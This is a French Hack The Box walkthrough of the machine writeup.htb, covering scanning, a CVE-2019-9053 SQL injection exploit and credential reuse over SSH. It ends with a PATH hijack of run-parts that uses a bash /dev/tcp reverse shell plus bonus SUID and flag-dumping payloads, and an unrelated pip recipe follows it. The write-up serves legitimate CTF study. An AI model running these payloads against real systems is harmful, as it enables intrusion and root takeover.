Device type: general purpose|router Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (94%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0 Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (94%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%), OpenWrt 21.02 (Linux 5.4) (90%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 23.59 ms 10.10.x.x 2 40.28 ms writeup.htb (10.129.x.x) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 14 14:09:04 2026 -- 1 IP address (1 host up) scanned in 27.92 seconds Scan ciblé CMS Un scan ciblé sur les CMS est ensuite lancé (scans_nmap/cms_vuln_scan.txt). # Nmap 7.98 scan initiated Wed Jan 14 14:09:04 2026 as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cms_vuln_scan.txt writeup.htb Nmap scan report for writeup.htb (10.129.x.x) Host is up (0.0073s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0) 80/tcp filtered http Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 14 14:09:04 2026 -- 1 IP address (1 host up) scanned in 0.26 seconds Scan UDP rapide Un scan UDP rapide est également lancé afin d’identifier d’éventuels services exposés (scans_nmap/udp_vuln_scan.txt). # Nmap 7.98 scan initiated Wed Jan 14 14:09:04 2026 as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/udp_vuln_scan.txt writeup.htb Nmap scan report for writeup.htb (10.129.x.x) Host is up. PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp 123/udp open|filtered ntp 135/udp open|filtered msrpc 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open|filtered snmp 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp open|filtered unknown # Nmap done at Wed Jan 14 14:09:07 2026 -- 1 IP address (1 host up) scanned in 3.23 seconds Énumération des chemins web Pour la partie découverte de chemins web, utilise le script dédié mon-recoweb mon-recoweb writeup.htb # Résultats dans le répertoire scans_recoweb/ # - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes # - scans_recoweb/dirb.log # - scans_recoweb/dirb_hits.txt # - scans_recoweb/ffuf_dirs.txt # - scans_recoweb/ffuf_dirs_hits.txt # - scans_recoweb/ffuf_files.txt # - scans_recoweb/ffuf_files_hits.txt # - scans_recoweb/ffuf_dirs.json # - scans_recoweb/ffuf_files.json Le fichier RESULTS_SUMMARY.txt te permet d’identifier rapidement les chemins intéressants sans parcourir tous les logs. ┌──(kali㉿kali)-[/mnt/kvm-md0/HTB/writeup] └─$ mon-recoweb writeup.htb Script: mon-recoweb v2.1.0 [*] Test d\u0026#39;accessibilité de la cible [+] Cible accessible [*] target : writeup.htb [*] host : writeup.htb [*] base : http://writeup.htb [*] outdir : scans_recoweb [*] files wordlist : /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt [*] ffuf : threads=30 timeout=10s fc=404 [+] Phase 1/3: dirb (common.txt) ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Jan 14 14:17:59 2026 URL_BASE: http://writeup.htb/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt OPTION: Not Recursive ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://writeup.htb/ ---- (!) FATAL: Too many errors connecting to host (Possible cause: COULDNT CONNECT) ----------------- END_TIME: Wed Jan 14 14:18:06 2026 DOWNLOADED: 12 - FOUND: 0 [+] Phase 2/3: ffuf directories (raft-medium-directories) /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://writeup.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt :: Output file : scans_recoweb/ffuf_dirs.json :: File format : json :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 30 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response status: 404 ________________________________________________ :: Progress: [42/29999] :: Job [1/1] :: 1 req/sec :: Duration: [0:00:19] :: Errors: 12 ::^C ┌──(kali㉿kali)-[/mnt/kvm-md0/HTB/writeup] └─$ Tu peux arrêter ce scan : le débit tombe à 1 requête/seconde et les erreurs s’accumulent, ce qui indique un bannissement ou une protection anti-DoS qui se déclenche sur les erreurs HTTP. Inutile d’insister ici : robots.txt te donne déjà une piste exploitable. Recherche de vhosts Enfin, teste rapidement la présence de vhosts avec le script mon-subdomains mon-subdomains writeup.htb # Résultats dans le répertoire scans_subdomains/ # - scans_subdomains/scan_vhosts.txt Si aucun vhost distinct n’est détecté, ce fichier te permet malgré tout de confirmer que le fuzzing n’a rien révélé d’exploitable. === mon-subdomains writeup.htb START === Script : mon-subdomains Version : mon-subdomains 2.0.0 Date : 2026-01-14 14:15:28 Domaine : writeup.htb IP : 10.129.x.x Mode : large Master : /usr/share/wordlists/htb-dns-vh-5000.txt Codes : 200,301,302,401,403 (strict=1) VHOST totaux : 0 - (aucun) --- Détails par port --- Port 80 (http) Baseline#1: code=200 size=3032 words=210 (Host=39ss85gc0j.writeup.htb) Baseline#2: code=200 size=3032 words=210 (Host=q6rfkfx1z6.writeup.htb) Baseline#3: code=200 size=3032 words=210 (Host=1e47d6ab5c.writeup.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) === mon-subdomains writeup.htb END === Prise pied Tu commences par ouvrir http://writeup.htb dans ton navigateur pour comprendre ce que le service web expose réellement. La page d’accueil du site est entièrement statique et affiche un message indiquant la présence d’une protection anti-DoS. Page d’accueil Quand tu accèdes à http://writeup.htb, tu constates que la page est entièrement statique (ASCII art + messages informatifs). Comme aucun lien ni élément interactif n’est présent, tu comprends que l’application n’expose pas encore de fonctionnalité exploitable directement depuis la page d’accueil. Le message précise aussi que le site n’est pas encore en production et mentionne une protection anti-DoS basée sur le bannissement des adresses IP qui génèrent des erreurs HTTP 40x. Tu gardes donc ce point en tête avant de lancer du fuzzing agressif : trop d’erreurs d’affilée et ton IP peut être temporairement bloquée. Dans ce contexte, tu consultes le code source pour vérifier s’il y a des indices (commentaires, chemins, ressources). Ici, tu ne trouves rien de dynamique : la page ne contient pas d’élément exploitable à ce stade. Le réflexe suivant, c’est de vérifier immédiatement robots.txt. Sur un site “en dev”, il sert souvent à exclure des zones de l’indexation tout en les laissant accessibles, ce qui peut révéler des répertoires intéressants pour la suite. robots.txt Tu consultes ensuite le fichier robots.txt afin de vérifier si certaines zones du site ont été volontairement exclues de l’indexation. curl http://writeup.htb/robots.txt # __ # _(\\ |@@| # (__/\\__ \\--/ __ # \\___|----| | __ # \\ }{ /\\ )_ / _\\ # /\\__/\\ \\__O (__ # (--/\\--) \\__/ # _)( )(_ # `---\u0026#39;\u0026#39;---` # Disallow access to the blog until content is finished. User-agent: * Disallow: /writeup/ Le fichier robots.txt révèle immédiatement un répertoire intéressant : /writeup/. Même s’il est exclu de l’indexation par les moteurs de recherche, il reste accessible directement, ce qui en fait une piste évidente à explorer pour la suite de l’exploitation. Tu accèdes donc au répertoire http://writeup.htb/writeup/. Pour identifier la technologie utilisée, tu examines le code source de la page. Tu peux soit utiliser le raccourci clavier Ctrl + U dans ton navigateur, soit récupérer directement le contenu avec curl. \u0026lt;base href=\u0026#34;http://writeup.htb/writeup/\u0026#34; /\u0026gt; \u0026lt;meta name=\u0026#34;Generator\u0026#34; content=\u0026#34;CMS Made Simple - Copyright (C) 2004-2019. All rights reserved.\u0026#34; /\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34; /\u0026gt; La balise Generator permet d’identifier clairement le CMS utilisé : CMS Made Simple. CMS Made Simple Une fois le CMS identifié, tu recherches les vulnérabilités connues affectant CMS Made Simple. Parmi les résultats, CVE-2019-9053 apparaît comme une vulnérabilité particulièrement intéressante : il s’agit d’une injection SQL non authentifiée exploitable à distance. Cette vulnérabilité permet d’extraire des informations sensibles depuis la base de données, notamment des identifiants, ouvrant la voie à un premier accès utilisateur. Un PoC Python existe et automatise cette exploitation. Tu peux maintenant exploiter CVE-2019-9053 afin d’extraire des identifiants depuis la base de données du CMS. Exploitation de CVE-2019-9053 Tu exécutes le PoC Python associé à CVE-2019-9053 afin d’exploiter l’injection SQL et d’extraire des informations depuis la base de données du CMS. Cet exploit permet notamment de récupérer les hashs des comptes utilisateurs, qui peuvent ensuite être cassés avec une wordlist afin d’obtenir des identifiants exploitables. Sous Python 3, l’exploit échoue lors de la phase de cracking à cause de l’encodage de la wordlist rockyou.txt. Pour corriger ce problème, il suffit de modifier l’ouverture du fichier afin de gérer correctement les caractères non ASCII. Dans le script, remplace l’ouverture classique de la wordlist par une version qui force l’encodage et ignore les erreurs. Correction : Il faut donc remplacer ceci : with open(wordlist, \u0026#39;r\u0026#39;) as dict: par : with open(wordlist, \u0026#39;r\u0026#39;, encoding=\u0026#39;latin-1\u0026#39;, errors=\u0026#39;ignore\u0026#39;) as dict: Une version corrigée du script est disponible ici : my_updated_46635.py Tu peux alors lancer l’exploit contre http://writeup.htb/writeup/. L’attaque est time-based, ce qui signifie que l’exploit récupère les informations caractère par caractère à l’aide de délais introduits volontairement. L’exécution est donc relativement lente et peut prendre plusieurs minutes. Une fois les identifiants obtenus, tu disposes enfin d’un premier point d’appui concret pour la suite : tester leur réutilisation sur les services exposés, en priorité SSH. Tu peux maintenant lancer l\u0026rsquo;exploit : python3 my_updated_46635.py -u http://writeup.htb/writeup/ --crack -w /usr/share/wordlists/rockyou.txt Voici une vue animée de l\u0026rsquo;exécution de l\u0026rsquo;exploit CVE-2019-9053 : Le GIF présente l\u0026rsquo;exécution en accéléré pour que tu puisses suivre plus facilement les étapes. En pratique, l\u0026rsquo;exécution réelle de l\u0026rsquo;exploit est beaucoup plus lente et prend environ 5 minutes, car il teste les informations caractère par caractère à l\u0026rsquo;aide de délais volontairement introduits (time-based). Connexion SSH Une fois les identifiants récupérés via l’exploitation de CVE-2019-9053, le réflexe en CTF consiste à tester immédiatement leur réutilisation sur les autres services exposés, en particulier SSH. Tu tentes donc une connexion SSH avec les identifiants jkr:raykayjay9. Cette étape est essentielle : sur Hack The Box, il est très fréquent que des identifiants issus d’une application web fonctionnent également pour l’accès système. La connexion SSH réussit et te donne un accès interactif en tant qu’utilisateur jkr. Tu disposes désormais d’un shell stable sur la machine cible. La phase de prise pied est terminée. ssh jkr@writeup.htb jkr@writeup.htb\u0026#39;s password: Linux writeup 6.1.0-13-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Oct 25 11:04:00 2023 from 10.10.x.x jkr@writeup:~$ user.txt Une fois connecté en SSH, tu effectues immédiatement les vérifications de base. Ces commandes permettent de confirmer l’utilisateur courant, le répertoire de travail et les groupes associés, afin de bien comprendre le contexte dans lequel tu te trouves avant de poursuivre l’exploitation. jkr@writeup:~$ whoami jkr jkr@writeup:~$ pwd /home/jkr jkr@writeup:~$ groups jkr cdrom floppy audio dip video plugdev staff netdev jkr@writeup:~$ En listant les fichiers du répertoire personnel, tu identifies rapidement le fichier user.txt. jkr@writeup:~$ ls -la total 24 drwxr-xr-x 2 jkr jkr 4096 Apr 19 2019 . drwxr-xr-x 3 root root 4096 Apr 19 2019 .. lrwxrwxrwx 1 root root 9 Apr 19 2019 .bash_history -\u0026gt; /dev/null -rw-r--r-- 1 jkr jkr 220 Apr 19 2019 .bash_logout -rw-r--r-- 1 jkr jkr 3526 Apr 19 2019 .bashrc -rw-r--r-- 1 jkr jkr 675 Apr 19 2019 .profile -r--r--r-- 1 root root 33 Jan 14 03:57 user.txt Tu peux alors le lire et récupérer le premier flag, ce qui confirme officiellement la réussite de la phase utilisateur. jkr@writeup:~$ cat user.txt 0b4cxxxxxxxxxxxxxxxxxxxxxxxx3946 jkr@writeup:~$ Escalade de privilèges Une fois connecté en SSH en tant que jkr, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : jkr@writeup:~$ sudo -l -bash: sudo: command not found L’absence de sudo élimine immédiatement cette piste et oriente l’analyse vers d’autres mécanismes exécutés automatiquement avec les privilèges root. Analyse avec pspy64 L’étape suivante consiste à observer l’activité du système en temps réel à l’aide de pspy64, afin d’identifier des commandes exécutées automatiquement avec les privilèges root. Note : après avoir copié pspy64 sur la cible via la recette « Copier des fichiers depuis et vers Kali Linux » , l\u0026rsquo;exécution depuis /dev/shm n\u0026rsquo;est pas autorisée sur cette machine. Copier le binaire dans /tmp permet de l\u0026rsquo;exécuter sans problème. N\u0026rsquo;oublie pas de rendre pspy64 exécutable avec: jkr@writeup:/tmp$ chmod +x pspy64 2026/01/16 11:53:01 CMD: UID=0 PID=2769 | /usr/sbin/CRON 2026/01/16 11:53:01 CMD: UID=0 PID=2770 | /usr/sbin/CRON 2026/01/16 11:53:01 CMD: UID=0 PID=2771 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 2026/01/16 11:54:01 CMD: UID=0 PID=2772 | /usr/sbin/CRON 2026/01/16 11:54:01 CMD: UID=0 PID=2773 | /usr/sbin/CRON 2026/01/16 11:54:01 CMD: UID=0 PID=2774 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 2026/01/16 11:55:01 CMD: UID=0 PID=2775 | /usr/sbin/CRON 2026/01/16 11:55:01 CMD: UID=0 PID=2776 | /usr/sbin/CRON 2026/01/16 11:55:01 CMD: UID=0 PID=2777 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 Lors de l\u0026rsquo;analyse, tu remarques l\u0026rsquo;exécution régulière d\u0026rsquo;un script lancé par CRON en tant que root : /root/bin/cleanup.pl Cependant, ce fichier n\u0026rsquo;est ni lisible ni modifiable par jkr, et aucun répertoire accessible n\u0026rsquo;est utilisé. La piste est donc abandonnée. Pendant que pspy64 est en cours d\u0026rsquo;exécution, tu ouvres une nouvelle session SSH dans un autre terminal, ce qui est une pratique courante pour déclencher les actions automatiques liées à la connexion. 2026/01/16 11:53:01 CMD: UID=0 PID=2769 | /usr/sbin/CRON 2026/01/16 11:53:01 CMD: UID=0 PID=2770 | /usr/sbin/CRON 2026/01/16 11:53:01 CMD: UID=0 PID=2771 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 2026/01/16 11:54:01 CMD: UID=0 PID=2772 | /usr/sbin/CRON 2026/01/16 11:54:01 CMD: UID=0 PID=2773 | /usr/sbin/CRON 2026/01/16 11:54:01 CMD: UID=0 PID=2774 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 2026/01/16 11:55:01 CMD: UID=0 PID=2775 | /usr/sbin/CRON 2026/01/16 11:55:01 CMD: UID=0 PID=2776 | /usr/sbin/CRON 2026/01/16 11:55:01 CMD: UID=0 PID=2777 | /bin/sh -c /root/bin/cleanup.pl \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 2026/01/16 11:55:03 CMD: UID=0 PID=2778 | sshd: [accepted] 2026/01/16 11:55:03 CMD: UID=0 PID=2779 | sshd: [accepted] 2026/01/16 11:55:08 CMD: UID=0 PID=2780 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d \u0026gt; /run/motd.dynamic.new 2026/01/16 11:55:08 CMD: UID=0 PID=2781 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d \u0026gt; /run/motd.dynamic.new 2026/01/16 11:55:08 CMD: UID=0 PID=2782 | run-parts --lsbsysinit /etc/update-motd.d 2026/01/16 11:55:08 CMD: UID=0 PID=2783 | uname -rnsom 2026/01/16 11:55:08 CMD: UID=0 PID=2784 | sshd: jkr [priv] 2026/01/16 11:55:09 CMD: UID=1000 PID=2785 | -bash 2026/01/16 11:55:09 CMD: UID=1000 PID=2787 | -bash 2026/01/16 11:55:09 CMD: UID=1000 PID=2786 | -bash 2026/01/16 11:55:09 CMD: UID=1000 PID=2788 | -bash 2026/01/16 11:55:09 CMD: UID=1000 PID=2789 | -bash Lors de la connexion SSH, tu observes l’exécution automatique de la commande suivante avec les privilèges root : sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d Ici, la commande run-parts est appelée sans chemin absolu. Dans ce cas, le système recherche le binaire correspondant en suivant l’ordre des répertoires définis dans la variable d’environnement PATH. En situation normale, le système trouve le binaire légitime dans /bin/run-parts En poursuivant l\u0026rsquo;énumération des permissions, la commande suivante permet d\u0026rsquo;identifier les répertoires accessibles en écriture par l\u0026rsquo;utilisateur jkr : find / -path /home -prune -o -type d -writable -print 2\u0026gt;/dev/null Les résultats montrent notamment que jkr dispose des droits d\u0026rsquo;écriture sur /usr/local/bin et /usr/local/sbin. Ces deux répertoires apparaissent avant /bin dans la variable PATH, ce qui est un point clé pour l\u0026rsquo;exploitation. Si l’utilisateur jkr place son propre script nommé run-parts dans /usr/local/bin, ce script sera exécuté avant le binaire légitime situé dans /bin. Ce mécanisme est appelé détournement de PATH : lorsqu\u0026rsquo;une commande est invoquée sans chemin absolu, le système exécute le premier fichier correspondant trouvé dans le PATH. Il s’agit d’une technique classique d’escalade de privilèges lorsqu’une commande est appelée sans chemin absolu. Détournement de PATH Pour exploiter le détournement de PATH, tu vas mettre en place un faux run-parts dans un répertoire présent dans le PATH et accessible en écriture par jkr, par exemple /usr/local/bin. L’objectif est que, lors de la connexion SSH, le système exécute ton script à la place du binaire légitime, ce qui déclenchera un reverse shell en tant que root vers ta machine Kali. Exploitation du détournement de PATH avec Tilix (méthode « 4 fenêtres ») L’analyse avec pspy64 révèle l’exécution régulière d’un script cleanup.pl, lancé toutes les minutes avec les privilèges root. Ce script effectue un nettoyage automatique de plusieurs répertoires, notamment : /usr/local/bin /usr/local/sbin Conséquence : tout détournement de PATH doit être réalisé entre deux exécutions du script, avant que les fichiers créés ne soient supprimés. Pour gérer cette contrainte de timing de manière fiable, tu peux organiser ton exploitation avec Tilix et un workspace à 4 fenêtres, comme décrit dans la recette « Tilix : configurer un workspace CTF à 4 fenêtres sous Kali Linux » . La capture suivante montre l’organisation des quatre fenêtres utilisées pour synchroniser l’exploitation. Organisation des 4 fenêtres Tilix Chaque fenêtre a un rôle bien défini. Cette organisation te permet d’agir rapidement, sans erreur et au bon moment. Fenêtre 1 — Kali Linux : écoute du reverse shell Sur ta machine Kali, prépare l’écoute réseau qui recevra le reverse shell root : nc -lvnp 4444 Cette fenêtre reste ouverte et en attente du reverse shell. Fenêtre 2 — jkr@writeup.htb : préparation du faux run-parts Dans cette fenêtre, tu vas préparer le binaire piégé, sans encore le copier. Place-toi dans /usr/local : cd /usr/local Crée un script de reverse shell (par exemple reverse_shell) : nano reverse_shell Ajoute le contenu suivant (adapte l’IP à celle de ta machine Kali) : #!/bin/bash bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.x.x/4444 0\u0026gt;\u0026amp;1 Rends le script exécutable : chmod +x reverse_shell Prépare la commande de copie vers /usr/local/bin/run-parts, mais ne l’exécute pas encore : cp reverse_shell /usr/local/bin/run-parts 👉 À ce stade, tu n’appuies pas sur [Entrée]. La commande est prête. Fenêtre 3 — jkr@writeup.htb : surveillance avec pspy64 Dans cette fenêtre, lance pspy64 pour surveiller l’activité système en temps réel : ./pspy64 Cette fenêtre est ta référence temporelle. Tu attends explicitement l’apparition de l’exécution de cleanup.pl. Fenêtre 4 — jkr@writeup.htb : connexion SSH prête à être lancée Prépare ici une nouvelle connexion SSH, sans appuyer sur [Entrée] : ssh jkr@writeup.htb Cette session servira à déclencher indirectement l’exécution du script root vulnérable, qui appellera run-parts sans chemin absolu. Déclenchement synchronisé de l’exploitation Tout repose maintenant sur le timing. Surveille attentivement la fenêtre 3. Dès que pspy64 affiche l’exécution de cleanup.pl : Appuie immédiatement sur Entrée dans la fenêtre 2 pour copier le faux run-parts. Juste après, appuie sur Entrée dans la fenêtre 4 pour lancer la connexion SSH. L’objectif est simple : Le faux run-parts doit donc être placé dans la minute suivant le nettoyage, avant la prochaine exécution de cleanup.pl. Résultat obtenu Si la synchronisation est correcte : Le script root appelle run-parts sans chemin absolu Le binaire piégé dans /usr/local/bin est exécuté Un reverse shell root arrive dans la fenêtre 1 Vérifie avec whoami : ┌──(kali㉿kali)-[/mnt/kvm-md0/HTB] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 42754 bash: cannot set terminal process group (3271): Inappropriate ioctl for device bash: no job control in this shell root@writeup:/# whoami whoami root Tu dois obtenir : root root.txt Récupère le flag final : root@writeup:/# cat /root/root.txt cat /root/root.txt 6327xxxxxxxxxxxxxxxxxxxxxxxxf1a8 root@writeup:/# Conclusion La machine writeup.htb illustre bien l’importance d’une énumération méthodique et d’une bonne compréhension des mécanismes Linux dans un contexte Hack The Box. À partir d’un service web basé sur CMS Made Simple, tu obtiens un premier accès grâce à une vulnérabilité connue, avant de progresser vers une escalade de privilèges root fondée sur un détournement du PATH. La phase d’escalade met en évidence un point clé souvent sous-estimé : l’observation du comportement système. L’utilisation de pspy64 permet ici d’identifier un mécanisme automatique exécuté par root, ouvrant la voie à une exploitation fiable malgré une contrainte temporelle. Cette machine montre qu’une mauvaise configuration apparemment anodine peut conduire à une escalade de privilèges complète lorsqu’elle est combinée à une observation attentive du système. Dans un contexte CTF comme dans un audit de sécurité, ce type d’analyse reste une compétence essentielle. Bonus — exemples d\u0026rsquo;autres faux run-parts pour le détournement de PATH Une fois le détournement de PATH exploitable, tout code placé dans le faux run-parts est exécuté avec les privilèges root. Voici quelques exemples classiques utilisés en CTF pour exploiter ce contexte. ⚠️ Note : Les exemples suivants illustrent des mécanismes de persistance volontairement présentés à des fins pédagogiques dans un cadre CTF isolé. Ils ne doivent pas être reproduits sur des systèmes réels ou en production. Ces exemples illustrent différentes finalités possibles : preuve d’exécution, récupération d’information sensible ou persistance. Récupération directe du flag root Exemple minimal permettant de récupérer le flag root sans shell interactif. Script run-parts : #!/bin/bash cat /root/root.txt \u0026gt; /tmp/root.txt Après déclenchement, il suffit de lire le fichier : cat /tmp/root.txt C’est l’exemple le plus simple et le plus fréquent en CTF lorsque l’objectif est uniquement la validation du challenge. Création d’un shell SUID root Autre variante classique consistant à créer un binaire SUID permettant d’obtenir un shell root à la demande. Script run-parts : #!/bin/bash cp /bin/bash /bin/ctf chmod u+s /bin/ctf Ensuite : /bin/ctf -p Le shell obtenu conserve les privilèges root. Ces exemples illustrent différentes exploitations possibles du détournement de PATH. L’objectif ici était surtout de montrer une méthode fiable et reproductible pour exploiter ce type de configuration dans un contexte CTF. i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2026-01-12T16:55:53+01:00","lastmod":"2026-03-18T18:20:00+01:00","permalink":"https://writeups.hackethical.be/writeups/writeup/","summary":"CMS Made Simple exposé, extraction d’identifiants, accès SSH puis root via détournement de PATH.","tags":["HTB Easy","cms-made-simple","cve-2019-9053","SSH","path-hijacking"],"title":"Writeup.htb — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes recettes"],"content":"Objectif Installer rapidement un module Python3 dans Kali Linux sans mettre en place d’environnement virtuel, en acceptant explicitement la modification de l’environnement Python système. La méthode est rapide et efficace. Elle est parfaitement adaptée à un usage CTF, lab, scripts personnels ou machine jetable. Principe de --break-system-packages Depuis Debian 12 (et donc Kali Linux), Python est volontairement verrouillé pour empêcher pip de modifier l’environnement système. Sans option particulière, la commande suivante échoue : pip3 install \u0026lt;module\u0026gt; Erreur typique : ┌──(kali㉿kali)-[~/hugo-writeups] └─$ pip3 install requests error: externally-managed-environment × This environment is externally managed ╰─\u0026gt; To install Python packages system-wide, try apt install python3-xyz, where xyz is the package you are trying to install. If you wish to install a non-Kali-packaged Python package, create a virtual environment using python3 -m venv path/to/venv. Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make sure you have pypy3-venv installed. If you wish to install a non-Kali-packaged Python application, it may be easiest to use pipx install xyz, which will manage a virtual environment for you. Make sure you have pipx installed. For more information, refer to the following: * https://www.kali.org/docs/general-use/python3-external-packages/ * /usr/share/doc/python3.13/README.venv note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages. hint: See PEP 668 for the detailed specification. C’est une mesure de protection, destinée à éviter de casser des dépendances système critiques. Ce que fait réellement --break-system-packages L’option : --break-system-packages signifie explicitement : « J’accepte de modifier l’environnement Python système, même si cela peut entrer en conflit avec les paquets gérés par apt. » Autrement dit : pip ne bloque plus l’installation se fait globalement tu assumes le risque (contrôlé dans un contexte Kali) Méthode recommandée (rapide et efficace) Commande standard pip3 install \u0026lt;module\u0026gt; --break-system-packages Exemple : pip3 install requests --break-system-packages Ou pour un outil CTF courant : pip3 install pwntools --break-system-packages Vérification de l’installation Après installation : python3 -c \u0026#34;import requests; print(requests.__version__)\u0026#34; Ou : pip3 show requests Quand utiliser cette méthode 👍 À utiliser quand machine Kali dédiée au pentest / CTF scripts personnels environnement non critique besoin immédiat (efficacité \u0026gt; pureté) ⚠️ À éviter quand serveur de production environnement Python partagé avec des applications sensibles besoin d’isolation stricte entre projets Bonnes pratiques minimales Même en utilisant --break-system-packages : préférer pip3 (jamais pip) vérifier ce que tu installes éviter les upgrades non nécessaires : typiquement pip3 install --upgrade requests --break-system-packages Cette commande ne met pas à jour uniquement le module ciblé et peut entraîner : la mise à jour de requests mais aussi de urllib3, idna, certifi, etc. parfois en versions différentes de celles fournies par apt Conclusion --break-system-packages est une option officielle de pip, prévue pour autoriser explicitement la modification de l’environnement Python système par les utilisateurs avancés. Dans un contexte Kali Linux : elle est légitime elle est efficace elle est cohérente avec un usage offensif / CTF 👉 Tu sais ce que tu fais, donc tu peux l’utiliser. Note ✅ Aucune option --break-system-packages n’est nécessaire pour la désinstallation. Exemple : pip3 uninstall 